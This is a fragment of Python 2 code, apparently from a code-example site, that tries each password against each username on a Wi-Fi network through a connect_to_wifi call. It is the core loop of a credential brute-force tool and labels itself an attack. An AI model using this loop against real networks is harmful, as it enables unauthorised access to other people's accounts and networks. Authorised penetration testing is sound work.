示例#1
0
    for password in passwords:
        for n in range(start, len(users)):
            print "[%s] " % n,
            valid_credentials_found = connect_to_wifi(ssid=ssid,
                                                      username=str(users[n]),
                                                      password=str(password),
                                                      interface=interface,
                                                      supplicant=supplicant,
                                                      outfile=outfile)
            if (valid_credentials_found and stop_on_success):
                break

            time.sleep(attempt_delay)

        if (valid_credentials_found and stop_on_success):
            break

    if reactor.running == True:
        reactor.sigBreak()

    print "DONE!"
except KeyboardInterrupt:
    # Stop the running reactor so the program can exit
    if reactor.running == True:
        reactor.sigBreak()
    print "Attack stopped by user."
except Exception, e:
    print e
    if reactor.running == True:
        reactor.sigBreak()